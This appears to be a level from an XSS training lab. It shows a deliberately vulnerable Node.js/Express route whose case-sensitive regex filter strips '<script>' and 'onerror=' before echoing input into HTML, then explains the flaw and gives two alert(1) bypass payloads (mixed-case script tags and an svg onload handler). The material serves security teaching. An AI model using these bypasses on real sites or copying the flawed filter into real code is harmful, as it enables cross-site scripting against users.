Level 1: Filter Evasion

MISSION: Bypass the server-side regex filter.

Welcome, Guest
/// SOURCE CODE INSPECTOR ///

// Backend Node.js / Express Route
app.get('/level1', (req, res) => {
    let payload = req.query.payload;
    
    // Developer's attempt at a custom WAF
    payload = payload.replace(/<script>/g, '');
    payload = payload.replace(/onerror=/g, '');
    
    // Output directly to DOM
    res.send("<div id='output'>" + payload + "</div>");
});

/// DECRYPTION COMPLETE ///

The WAF uses a case-sensitive regex for <script> and looks strictly for onerror=. HTML tags are case-insensitive, and there are many other event handlers.

Payload 1 (Case Evasion):

<ScRiPt>alert(1)</ScRiPt>

Payload 2 (Alternate Event Handler):

<svg onload=alert(1)>